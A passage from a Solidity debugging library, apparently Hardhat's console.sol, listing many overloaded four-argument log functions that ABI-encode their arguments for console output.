_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool,address)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,uint)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,string)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,bool)", p0, p1, p2, p3));
}
function log(address p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address,address)", p0, p1, p2, p3));
}
function log(address p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint,uint)", p0, p1, p2, p3));
}
